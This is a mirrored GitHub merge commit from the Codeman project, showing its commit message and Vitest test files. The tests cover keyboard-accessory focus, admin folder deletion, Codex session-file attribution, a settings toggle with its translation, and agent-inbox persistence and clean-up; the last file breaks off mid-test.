mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-15 10:59:32 +01:00
Merge master into feat/story-mode
Conflicts were additive registrations (types barrel, routes barrel, server, index.html, settings keys, docs) plus three in session.ts: - master's public claudeConfigDir() method replaces the branch's getter; Story Mode's route now calls it. - writeViaMux keeps master's guarded-turn structure; the composer pairing (_notePastedPrompt) runs after _verifySubmitted in _writeViaMuxNow. - the imports keep both sides. Master now pastes a multi-line API prompt with its line breaks, so _verifySubmitted keeps them too (the same text TmuxManager.sendInput pastes): a prompt Claude Code shows as "[Pasted text #1 +3 lines]" is recognised by its line count, and the CLAUDE.md gotcha no longer says it is missed. The changeset and Settings Reference describe the three reading levels and the prompt bar. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
This commit is contained in:
commit
a516a3d106
775 files changed
+168958
-7674
No files matched your search
@@ -0,0 +1,105 @@
|
||||
/**
|
||||
* @fileoverview Accessory keys that keep the keyboard up must not take focus on
|
||||
* press. A tap used to blur the terminal's textarea and the click handler then
|
||||
* refocused it, so every arrow/Tab/Esc tap started a keyboard dismissal. The bar
|
||||
* now cancels the mousedown default for exactly those keys (and the first,
|
||||
* arming tap of clear/compact); every other key keeps the old behavior.
|
||||
*
|
||||
* Loaded with `vm` against a minimal fake DOM, like the other accessory-bar tests.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
type Listener = (e: unknown) => void;
|
||||
type Bar = {
|
||||
init(): void;
|
||||
_confirmAction: string | null;
|
||||
syncReadMyMind(): void;
|
||||
syncCodexKeys(): void;
|
||||
_syncComposerDraftIndicator(): void;
|
||||
};
|
||||
|
||||
function loadBar() {
|
||||
const listeners: Record<string, Listener> = {};
|
||||
const element = {
|
||||
className: '',
|
||||
innerHTML: '',
|
||||
addEventListener: (type: string, fn: Listener) => {
|
||||
listeners[type] = fn;
|
||||
},
|
||||
};
|
||||
const context = vm.createContext({
|
||||
console,
|
||||
document: { createElement: () => element, querySelector: () => null },
|
||||
MobileDetection: { isTouchDevice: () => true },
|
||||
localStorage: { getItem: () => null, setItem: () => {} },
|
||||
});
|
||||
vm.runInContext(
|
||||
`${readFileSync(resolve('src/web/public/keyboard-accessory.js'), 'utf8')}\nglobalThis.__bar = KeyboardAccessoryBar;`,
|
||||
context
|
||||
);
|
||||
const bar = (context as unknown as { __bar: Bar }).__bar;
|
||||
bar.syncReadMyMind = () => {};
|
||||
bar.syncCodexKeys = () => {};
|
||||
bar._syncComposerDraftIndicator = () => {};
|
||||
bar.init();
|
||||
// `null` is a press on the bar itself (padding, a gap): closest() finds no key.
|
||||
const press = (action: string | null) => {
|
||||
const preventDefault = vi.fn();
|
||||
listeners.mousedown({
|
||||
target: { closest: () => (action === null ? null : { dataset: { action } }) },
|
||||
preventDefault,
|
||||
});
|
||||
return preventDefault.mock.calls.length > 0;
|
||||
};
|
||||
return { bar, press };
|
||||
}
|
||||
|
||||
describe('accessory keys keep the terminal focused on press', () => {
|
||||
it('cancels the press default for keys that leave the keyboard up', () => {
|
||||
const { press } = loadBar();
|
||||
for (const action of [
|
||||
'scroll-up',
|
||||
'scroll-down',
|
||||
'arrow-left',
|
||||
'arrow-right',
|
||||
'tab',
|
||||
'shift-tab',
|
||||
'shift-left',
|
||||
'shift-right',
|
||||
'ctrl',
|
||||
'ctrl-o',
|
||||
'opt-enter',
|
||||
'esc',
|
||||
'effort-max',
|
||||
'clear-input',
|
||||
]) {
|
||||
expect(press(action), action).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('leaves keys that move focus or dismiss the keyboard alone', () => {
|
||||
const { press } = loadBar();
|
||||
for (const action of ['compose', 'readmymind', 'pick-path', 'paste', 'dismiss', 'init']) {
|
||||
expect(press(action), action).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('cancels only the arming tap of clear/compact, not the confirming one', () => {
|
||||
const { bar, press } = loadBar();
|
||||
bar._confirmAction = null;
|
||||
expect(press('clear')).toBe(true);
|
||||
bar._confirmAction = 'clear';
|
||||
expect(press('clear')).toBe(false);
|
||||
expect(press('compact')).toBe(true);
|
||||
bar._confirmAction = 'compact';
|
||||
expect(press('compact')).toBe(false);
|
||||
});
|
||||
|
||||
it('ignores a press outside a key', () => {
|
||||
const { press } = loadBar();
|
||||
expect(press(null)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -189,10 +189,13 @@ describe('admin case-folder API', () => {
|
||||
expect(sl.status).toBe(400);
|
||||
await expect(fs.stat(path.join(spacesDir, 'outside'))).resolves.toBeTruthy();
|
||||
|
||||
// A real folder is deleted.
|
||||
// A real folder is deleted, and kim's default session group for it goes with it.
|
||||
const store = (server as unknown as { store: import('../src/state-store.js').StateStore }).store;
|
||||
store.setCaseDefaultGroup('kim', 'proj1', null);
|
||||
const del = await fetch(url('/api/admin/users/kim/cases/proj1'), { method: 'DELETE', headers: adminNoBody });
|
||||
expect(del.status).toBe(200);
|
||||
await expect(fs.stat(path.join(spacesDir, 'kim', 'cases', 'proj1'))).rejects.toBeTruthy();
|
||||
expect(store.getCaseDefaultGroup('kim', 'proj1')).toBeUndefined();
|
||||
|
||||
// Deleting it again 404s.
|
||||
const gone = await fetch(url('/api/admin/users/kim/cases/proj1'), { method: 'DELETE', headers: adminNoBody });
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
/** @fileoverview Strict bounded native rollout attribution without viewer heuristics. */
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { mkdtemp, mkdir, writeFile, rm, symlink } from 'node:fs/promises';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import {
|
||||
__clearCodexAttributionMemo,
|
||||
findExactCodexConversation,
|
||||
resolveEffectiveCodexHome,
|
||||
} from '../src/agent-codex-identity.js';
|
||||
const roots: string[] = [];
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })));
|
||||
});
|
||||
const A = '11111111-1111-4111-8111-111111111111';
|
||||
const B = '22222222-2222-4222-8222-222222222222';
|
||||
async function fixture() {
|
||||
const root = await mkdtemp(join(tmpdir(), 'agent-attribution-'));
|
||||
roots.push(root);
|
||||
const home = join(root, 'home');
|
||||
await mkdir(join(home, 'sessions'), { recursive: true });
|
||||
const options = { codexHome: home, sessionId: 'managed', workingDir: root };
|
||||
const put = async (id: string, payload: object = {}, text?: string) => {
|
||||
const path = join(home, 'sessions', `rollout-${id}.jsonl`);
|
||||
await writeFile(
|
||||
path,
|
||||
text ??
|
||||
JSON.stringify({
|
||||
type: 'session_meta',
|
||||
payload: { id, cwd: root, originator: 'codeman_managed', ...payload },
|
||||
}) + '\n'
|
||||
);
|
||||
return path;
|
||||
};
|
||||
return { root, home, options, put };
|
||||
}
|
||||
it('requires one complete native session_meta matching the rollout ID, managed originator and canonical workspace', async () => {
|
||||
const f = await fixture();
|
||||
const path = await f.put(A);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: A, path });
|
||||
await f.put(A, { id: B });
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
});
|
||||
it('never chooses newest cwd files or an ambiguous managed originator', async () => {
|
||||
const f = await fixture();
|
||||
await f.put(A, { originator: 'codex_cli' });
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
await f.put(A);
|
||||
await f.put(B);
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
});
|
||||
it('allows an explicit resume identity but still requires native metadata and the workspace', async () => {
|
||||
const f = await fixture();
|
||||
const path = await f.put(A, { originator: 'original-launch' });
|
||||
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toEqual({ id: A, path });
|
||||
await f.put(B);
|
||||
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toBeUndefined();
|
||||
await f.put(A, { cwd: f.home });
|
||||
expect(await findExactCodexConversation({ ...f.options, resumeSessionId: A })).toBeUndefined();
|
||||
});
|
||||
it.each(['partial', 'duplicate', 'oversized'] as const)('refuses %s metadata', async (kind) => {
|
||||
const f = await fixture();
|
||||
const row = JSON.stringify({ type: 'session_meta', payload: { id: A, cwd: f.root, originator: 'codeman_managed' } });
|
||||
await f.put(
|
||||
A,
|
||||
{},
|
||||
kind === 'partial'
|
||||
? row
|
||||
: kind === 'duplicate'
|
||||
? row + '\n' + row + '\n'
|
||||
: row.slice(0, -2) + ',"instructions":"' + 'x'.repeat(140000) + '"}}\n'
|
||||
);
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
});
|
||||
it('enforces traversal/read caps and ignores symlinked directories', async () => {
|
||||
const f = await fixture();
|
||||
await f.put(A);
|
||||
expect(await findExactCodexConversation(f.options, { maxEntries: 0, maxBytes: 1048576 })).toBeUndefined();
|
||||
expect(await findExactCodexConversation(f.options, { maxEntries: 8192, maxBytes: 128 })).toBeUndefined();
|
||||
await mkdir(join(f.root, 'elsewhere'));
|
||||
await symlink(join(f.root, 'elsewhere'), join(f.home, 'sessions', 'alias'));
|
||||
expect((await findExactCodexConversation(f.options))?.id).toBe(A);
|
||||
});
|
||||
it('resolves per-session, process and default CODEX_HOME relative to the session workspace', () => {
|
||||
expect(resolveEffectiveCodexHome('custom', '/tmp/work', { CODEX_HOME: '/other' })).toBe('/tmp/work/custom');
|
||||
expect(resolveEffectiveCodexHome(undefined, '/tmp/work', { CODEX_HOME: 'process' })).toBe('/tmp/work/process');
|
||||
expect(resolveEffectiveCodexHome(undefined, '/tmp/work', { HOME: '/tmp/user' })).toBe('/tmp/user/.codex');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['trailing-space', 'codex-home ', 'codex-home'],
|
||||
['whitespace-only', ' ', '.codex'],
|
||||
])(
|
||||
'keeps the raw %s CODEX_HOME namespace through the Session getter and attribution helper',
|
||||
async (_label, configured, wrongHome) => {
|
||||
const { Session } = await import('../src/session.js');
|
||||
const f = await fixture();
|
||||
const expectedHome = join(f.root, configured);
|
||||
const siblingHome = join(f.root, wrongHome);
|
||||
const record =
|
||||
JSON.stringify({ type: 'session_meta', payload: { id: A, cwd: f.root, originator: 'codeman_managed' } }) + '\n';
|
||||
for (const home of [expectedHome, siblingHome]) {
|
||||
await mkdir(join(home, 'sessions'), { recursive: true });
|
||||
await writeFile(join(home, 'sessions', `rollout-${A}.jsonl`), record);
|
||||
}
|
||||
const session = new Session({
|
||||
id: 'managed',
|
||||
workingDir: f.root,
|
||||
mode: 'codex',
|
||||
envOverrides: { CODEX_HOME: configured },
|
||||
});
|
||||
try {
|
||||
const codexHome = resolveEffectiveCodexHome(session.getCodexHomeOverride(), session.workingDir, { HOME: f.root });
|
||||
expect(await findExactCodexConversation({ ...f.options, codexHome })).toEqual({
|
||||
id: A,
|
||||
path: join(expectedHome, 'sessions', `rollout-${A}.jsonl`),
|
||||
});
|
||||
expect(session.getCodexHomeOverride()).toBe(configured);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
it('attributes an owned rollout among 320 unrelated full-size metadata prefixes', async () => {
|
||||
const f = await fixture();
|
||||
const path = await f.put(A);
|
||||
await Promise.all(
|
||||
Array.from({ length: 320 }, (_, n) => {
|
||||
const id = `10000000-1111-4111-8111-${String(n).padStart(12, '0')}`;
|
||||
return f.put(id, { originator: 'codex_cli', instructions: 'x'.repeat(5000) });
|
||||
})
|
||||
);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: A, path });
|
||||
expect(
|
||||
await findExactCodexConversation(f.options, { maxEntries: 8192, maxBytes: 1048576, maxPrefixBytes: 4096 })
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it.each(['workspace', 'metadata'] as const)(
|
||||
'probes %s bounded past the cap before canonical filesystem reads',
|
||||
async (where) => {
|
||||
const { vi } = await import('vitest');
|
||||
const probe = await import('../src/utils/bounded-path-probe.js');
|
||||
const f = await fixture();
|
||||
const alias = join(f.root, 'workspace-alias');
|
||||
await symlink(f.root, alias);
|
||||
await f.put(A, { cwd: where === 'metadata' ? alias : f.root });
|
||||
const blocked = where === 'workspace' ? f.root : alias;
|
||||
const spy = vi
|
||||
.spyOn(probe, 'probePathKind')
|
||||
.mockImplementation(async (path) => (path === blocked ? 'unknown' : 'directory'));
|
||||
try {
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
expect(spy).toHaveBeenCalledWith(blocked, { pastCap: true });
|
||||
} finally {
|
||||
spy.mockRestore();
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
describe('remembered attribution on a large, never-pruned store', () => {
|
||||
beforeEach(() => __clearCodexAttributionMemo());
|
||||
const OWNED = '33333333-3333-4333-8333-333333333333';
|
||||
const NEWER = '44444444-4444-4444-8444-444444444444';
|
||||
/** codex's own layout: sessions/YYYY/MM/DD/rollout-<ts>-<uuid>.jsonl */
|
||||
async function dated(f: Awaited<ReturnType<typeof fixture>>, day: string, id: string, payload: object = {}) {
|
||||
const dir = join(f.home, 'sessions', ...day.split('/'));
|
||||
await mkdir(dir, { recursive: true });
|
||||
const path = join(dir, `rollout-${day.replaceAll('/', '-')}T00-00-00-${id}.jsonl`);
|
||||
await writeFile(
|
||||
path,
|
||||
JSON.stringify({
|
||||
type: 'session_meta',
|
||||
payload: { id, cwd: f.root, originator: 'codeman_managed', ...payload },
|
||||
}) + '\n'
|
||||
);
|
||||
return path;
|
||||
}
|
||||
/** `count` unrelated 19 KiB rollouts (a real session_meta size) spread over older days. */
|
||||
async function unrelated(f: Awaited<ReturnType<typeof fixture>>, count: number) {
|
||||
const instructions = 'x'.repeat(19 * 1024);
|
||||
for (let start = 0; start < count; start += 200) {
|
||||
await Promise.all(
|
||||
Array.from({ length: Math.min(200, count - start) }, (_, k) => {
|
||||
const n = start + k;
|
||||
const day = `2026/${String(1 + (n % 9)).padStart(2, '0')}/${String(1 + (n % 28)).padStart(2, '0')}`;
|
||||
return dated(f, day, `10000000-1111-4111-8111-${String(n).padStart(12, '0')}`, {
|
||||
originator: 'codex_cli',
|
||||
instructions,
|
||||
});
|
||||
})
|
||||
);
|
||||
}
|
||||
}
|
||||
const small = { maxEntries: 20, maxBytes: 1048576 };
|
||||
|
||||
it('attributes one owned rollout beside 2,100 unrelated full-size rollouts', async () => {
|
||||
const f = await fixture();
|
||||
await unrelated(f, 2100);
|
||||
const path = await dated(f, '2026/10/24', OWNED);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
}, 60_000);
|
||||
|
||||
it('re-verifies only the remembered file on a later call instead of re-walking the store', async () => {
|
||||
const f = await fixture();
|
||||
await unrelated(f, 300);
|
||||
const path = await dated(f, '2026/10/24', OWNED);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
// 20 entries cannot cover 300 rollouts in 9 months of day directories: only the
|
||||
// remembered head plus the directories not older than it fit.
|
||||
expect(await findExactCodexConversation(f.options, small)).toEqual({ id: OWNED, path });
|
||||
__clearCodexAttributionMemo();
|
||||
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('still catches a newer owned rollout (codex /new) after remembering one', async () => {
|
||||
const f = await fixture();
|
||||
await unrelated(f, 50);
|
||||
const path = await dated(f, '2026/10/24', OWNED);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
await dated(f, '2026/10/25', NEWER);
|
||||
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('answers unattributed, without a full walk, when the remembered file verifies but its incremental scan runs out', async () => {
|
||||
const f = await fixture();
|
||||
const path = await dated(f, '2026/10/24', OWNED);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
// 30 rollouts in the remembered day itself: the incremental scan reads them all,
|
||||
// so 20 entries cannot cover it, and a full walk (a superset) could not either.
|
||||
await Promise.all(
|
||||
Array.from({ length: 30 }, (_, n) =>
|
||||
dated(f, '2026/10/24', `20000000-2222-4222-8222-${String(n).padStart(12, '0')}`, { originator: 'codex_cli' })
|
||||
)
|
||||
);
|
||||
expect(await findExactCodexConversation(f.options, small)).toBeUndefined();
|
||||
// The memo was dropped, so a call with room walks the store and attributes again.
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
});
|
||||
|
||||
it('drops the remembered file when it is replaced, and walks again', async () => {
|
||||
const f = await fixture();
|
||||
const path = await dated(f, '2026/10/24', OWNED);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: OWNED, path });
|
||||
await rm(path);
|
||||
await dated(f, '2026/10/24', OWNED, { originator: 'codex_cli' });
|
||||
expect(await findExactCodexConversation(f.options)).toBeUndefined();
|
||||
const moved = await dated(f, '2026/10/23', NEWER);
|
||||
expect(await findExactCodexConversation(f.options)).toEqual({ id: NEWER, path: moved });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
/**
|
||||
* @fileoverview The synced `agentCoordinationEnabled` setting (default OFF) that gates the
|
||||
* experimental inspect/stage/submit routes: the strict settings schema admits it, App
|
||||
* Settings loads and saves it under the same control id, and its row reads in Chinese
|
||||
* (zh-CN) with no English left beyond the command and product names. The route gate itself
|
||||
* is pinned in test/routes/agent-session-routes.test.ts.
|
||||
*
|
||||
* Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it } from 'vitest';
|
||||
import { SettingsUpdateSchema } from '../src/web/schemas.js';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
|
||||
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
|
||||
const SETTINGS_UI = readFileSync(resolve(PUBLIC, 'settings-ui.js'), 'utf8');
|
||||
const ID = 'appSettingsAgentCoordination';
|
||||
|
||||
type Api = { configure(o: Record<string, string>): void; start(): void };
|
||||
|
||||
/** What may stay Latin: the product, CLI, key and protocol names and the three commands. */
|
||||
const leftover = (text: string) =>
|
||||
text.replace(/\b(Codex|Enter|HTTP|inspect|stage|submit)\b/g, '').match(/[A-Za-z]+/g) ?? [];
|
||||
|
||||
function rowStrings(doc: Document): { label: string; description: string } {
|
||||
const row = doc.getElementById(ID)!.closest('.set-row')!;
|
||||
return {
|
||||
label: row.querySelector('.set-row-label')!.textContent!.trim(),
|
||||
description: row.querySelector('.set-row-desc')!.textContent!.trim(),
|
||||
};
|
||||
}
|
||||
|
||||
const source = new JSDOM(INDEX);
|
||||
const english = rowStrings(source.window.document);
|
||||
const dom = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
|
||||
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
|
||||
api.start();
|
||||
api.configure({ language: 'zh-CN' });
|
||||
const chinese = rowStrings(dom.window.document);
|
||||
|
||||
afterAll(() => {
|
||||
source.window.close();
|
||||
dom.window.close();
|
||||
});
|
||||
|
||||
describe('agentCoordinationEnabled', () => {
|
||||
it('is a boolean the strict settings schema accepts, and nothing else', () => {
|
||||
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: true }).success).toBe(true);
|
||||
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: false }).success).toBe(true);
|
||||
expect(SettingsUpdateSchema.safeParse({ agentCoordinationEnabled: 'yes' }).success).toBe(false);
|
||||
});
|
||||
|
||||
it('has one checkbox in App Settings, loaded only from an explicit true and saved by id', () => {
|
||||
expect(INDEX.split(`id="${ID}"`)).toHaveLength(2);
|
||||
expect(source.window.document.getElementById(ID)!.getAttribute('type')).toBe('checkbox');
|
||||
expect(SETTINGS_UI).toContain(
|
||||
`document.getElementById('${ID}').checked = settings.agentCoordinationEnabled === true;`
|
||||
);
|
||||
expect(SETTINGS_UI).toContain(`agentCoordinationEnabled: document.getElementById('${ID}').checked,`);
|
||||
});
|
||||
|
||||
it('sits in the synced Cross-session features group', () => {
|
||||
const group = source.window.document.getElementById(ID)!.closest('.set-group')!;
|
||||
expect(group.querySelector('.set-group-head h4')!.textContent).toBe('Cross-session features');
|
||||
expect(group.querySelector('.set-group-head .set-scope')!.textContent).toBe('synced');
|
||||
});
|
||||
|
||||
it('finds the row (the translation check is not vacuous)', () => {
|
||||
expect(english.label).toBe('Experimental agent coordination');
|
||||
expect(english.description).toMatch(/^Lets agents read another session's output/);
|
||||
});
|
||||
|
||||
it('translates the label and the description, with no English left', () => {
|
||||
for (const key of ['label', 'description'] as const) {
|
||||
expect(chinese[key]).not.toBe(english[key]);
|
||||
expect(leftover(chinese[key])).toEqual([]);
|
||||
}
|
||||
});
|
||||
|
||||
it('adds each key to the dictionary once', () => {
|
||||
for (const text of [english.label, english.description]) {
|
||||
expect(I18N.split(`'${text}'`).length + I18N.split(`"${text}"`).length - 2).toBe(1);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
/**
|
||||
* @fileoverview Opt-in agent inbox snapshot (src/web/agent-inbox-persistence.ts).
|
||||
*
|
||||
* Off writes nothing, switching off deletes the file and keeps memory, on writes 0600
|
||||
* through tmp + rename, and a boot with the setting on restores what was pending.
|
||||
*/
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { AgentInbox } from '../src/web/agent-inbox.js';
|
||||
import { AgentInboxPersistence } from '../src/web/agent-inbox-persistence.js';
|
||||
|
||||
describe('AgentInboxPersistence', () => {
|
||||
let dir: string;
|
||||
let file: string;
|
||||
let inbox: AgentInbox;
|
||||
let persistence: AgentInboxPersistence;
|
||||
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'codeman-inbox-'));
|
||||
file = join(dir, 'agent-inbox.json');
|
||||
inbox = new AgentInbox();
|
||||
// Debounce 0 so a test can wait one macrotask instead of sleeping.
|
||||
persistence = new AgentInboxPersistence(inbox, () => file, 0);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
persistence.dispose();
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const tick = () => new Promise((r) => setTimeout(r, 5));
|
||||
|
||||
it('writes nothing while off (the default)', async () => {
|
||||
persistence.load(false);
|
||||
inbox.post('s', null, 'hello');
|
||||
await tick();
|
||||
expect(existsSync(file)).toBe(false);
|
||||
});
|
||||
|
||||
it('writes a 0600 snapshot when on, and no tmp file is left behind', async () => {
|
||||
persistence.load(true);
|
||||
inbox.post('s', null, 'hello');
|
||||
await tick();
|
||||
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s[0].text).toBe('hello');
|
||||
expect(statSync(file).mode & 0o777).toBe(0o600);
|
||||
expect(existsSync(`${file}.tmp`)).toBe(false);
|
||||
});
|
||||
|
||||
it('switching on writes the current inboxes at once', () => {
|
||||
persistence.load(false);
|
||||
inbox.post('s', null, 'posted while off');
|
||||
persistence.setEnabled(true);
|
||||
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('switching off deletes the snapshot and keeps the in-memory inboxes', async () => {
|
||||
persistence.load(true);
|
||||
inbox.post('s', null, 'hello');
|
||||
await tick();
|
||||
expect(existsSync(file)).toBe(true);
|
||||
persistence.setEnabled(false);
|
||||
expect(existsSync(file)).toBe(false);
|
||||
expect(inbox.pendingCount('s')).toBe(1);
|
||||
inbox.post('s', null, 'after off');
|
||||
await tick();
|
||||
expect(existsSync(file)).toBe(false);
|
||||
});
|
||||
|
||||
it('a boot with the setting on restores pending mail', async () => {
|
||||
persistence.load(true);
|
||||
inbox.post('s', 'sender', 'survives');
|
||||
await tick();
|
||||
persistence.dispose();
|
||||
|
||||
const next = new AgentInbox();
|
||||
const nextPersistence = new AgentInboxPersistence(next, () => file, 0);
|
||||
expect(nextPersistence.load(true)).toBe(1);
|
||||
expect(next.read('s', { receiver: false }).messages[0]).toMatchObject({ from: 'sender', text: 'survives' });
|
||||
nextPersistence.dispose();
|
||||
});
|
||||
|
||||
it('a boot with the setting off removes a file left from earlier and restores nothing', () => {
|
||||
writeFileSync(file, JSON.stringify({ version: 1, inboxes: { s: [] } }));
|
||||
expect(persistence.load(false)).toBe(0);
|
||||
expect(existsSync(file)).toBe(false);
|
||||
});
|
||||
|
||||
it('an unreadable file is an empty inbox, not a failed boot', () => {
|
||||
writeFileSync(file, '{not json');
|
||||
expect(persistence.load(true)).toBe(0);
|
||||
});
|
||||
|
||||
it('flush writes a pending change before shutdown', () => {
|
||||
const slow = new AgentInboxPersistence(inbox, () => file, 60_000);
|
||||
slow.load(true);
|
||||
inbox.post('s', null, 'just before shutdown');
|
||||
expect(existsSync(file)).toBe(false);
|
||||
slow.flush();
|
||||
expect(JSON.parse(readFileSync(file, 'utf-8')).inboxes.s).toHaveLength(1);
|
||||
slow.dispose();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,115 @@
|
||||
/**
|
||||
* @fileoverview How server.ts treats the agent inbox across a session's lifecycle.
|
||||
*
|
||||
* - Delete (`killMux=true`) drops the inbox; detach and shutdown (`killMux=false`)
|
||||
* keep it, because a detached session comes back.
|
||||
* - Boot pruning of orphaned inboxes runs only after a successful restore, and keeps
|
||||
* every session state.json still holds plus every session on the reboot-restore
|
||||
* offer (its record is already pruned, and a rebuild reuses the id). A failed
|
||||
* restore leaves all mail alone.
|
||||
*
|
||||
* Uses a bare `WebServer.prototype` object with just the fields these paths touch,
|
||||
* like tab-layout-restore-gate.test.ts.
|
||||
*/
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { agentInbox } from '../src/web/agent-inbox.js';
|
||||
import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js';
|
||||
import type { RebootRestoreEntry } from '../src/reboot-restore.js';
|
||||
import type { SessionState } from '../src/types.js';
|
||||
|
||||
type CleanupServer = {
|
||||
_doCleanupSession(sessionId: string, killMux: boolean, reason?: string): Promise<void>;
|
||||
finalizeRestoredState(restored: boolean): Promise<void>;
|
||||
[key: string]: unknown;
|
||||
};
|
||||
|
||||
function bareServer(live: string[] = [], persisted: string[] = []): CleanupServer {
|
||||
const server = Object.create(WebServer.prototype) as CleanupServer;
|
||||
Object.assign(server, {
|
||||
sessions: new Map(live.map((id) => [id, {}])),
|
||||
keepWarmService: { remove: () => {} },
|
||||
gitFetchScheduler: { remove: () => {} },
|
||||
store: {
|
||||
getSession: () => null,
|
||||
getSessions: () => Object.fromEntries(persisted.map((id) => [id, {}])),
|
||||
removeRalphState: () => {},
|
||||
},
|
||||
tabLayouts: {
|
||||
markRestorationComplete: () => {},
|
||||
markRestorationFailed: () => {},
|
||||
reconcileAfterRestoration: async () => {},
|
||||
},
|
||||
cleanupStaleSessions: async () => 0,
|
||||
_customModelDisplacedNotified: new Set(),
|
||||
respawnControllers: new Map(),
|
||||
respawnTimers: new Map(),
|
||||
pendingRespawnStarts: new Map(),
|
||||
runSummaryTrackers: new Map(),
|
||||
stopTranscriptWatcher: () => {},
|
||||
persistDeb: { cancelKey: () => {} },
|
||||
sse: { cleanupSessionBatches: () => {} },
|
||||
// A real delete also tells the Discord bridge, which frees its per-tab state and may archive the thread.
|
||||
discordBridge: { sessionDeleted: async () => {}, forgetTab: () => {} },
|
||||
broadcast: () => {},
|
||||
});
|
||||
return server;
|
||||
}
|
||||
|
||||
/** A reboot-restore offer entry; the prune reads only its `sessionId`. */
|
||||
function offerEntry(sessionId: string): RebootRestoreEntry {
|
||||
return {
|
||||
sessionId,
|
||||
workingDir: `/tmp/codeman-agent-inbox-offer/${sessionId}`,
|
||||
mode: 'claude',
|
||||
resumeConversationId: `conv-${sessionId}`,
|
||||
state: { id: sessionId, workingDir: `/tmp/codeman-agent-inbox-offer/${sessionId}` } as SessionState,
|
||||
};
|
||||
}
|
||||
|
||||
describe('agent inbox server wiring', () => {
|
||||
beforeEach(() => agentInbox.resetForTests());
|
||||
afterEach(() => {
|
||||
agentInbox.resetForTests();
|
||||
rebootRestoreRegistry.reset();
|
||||
});
|
||||
|
||||
it('a delete drops the inbox; a detach (killMux=false) keeps it', async () => {
|
||||
const server = bareServer();
|
||||
agentInbox.post('detached', null, 'still here after detach');
|
||||
agentInbox.post('deleted', null, 'gone with the session');
|
||||
await server._doCleanupSession('detached', false, 'test');
|
||||
await server._doCleanupSession('deleted', true, 'test');
|
||||
expect(agentInbox.pendingCount('detached')).toBe(1);
|
||||
expect(agentInbox.pendingCount('deleted')).toBe(0);
|
||||
});
|
||||
|
||||
it('a failed restore prunes nothing', async () => {
|
||||
const server = bareServer();
|
||||
agentInbox.post('not-restored', null, 'm');
|
||||
await server.finalizeRestoredState(false);
|
||||
expect(agentInbox.pendingCount('not-restored')).toBe(1);
|
||||
});
|
||||
|
||||
it('a successful restore prunes orphans and keeps live and persisted sessions', async () => {
|
||||
const server = bareServer(['live'], ['kept-for-recovery']);
|
||||
for (const id of ['live', 'kept-for-recovery', 'orphan']) agentInbox.post(id, null, 'm');
|
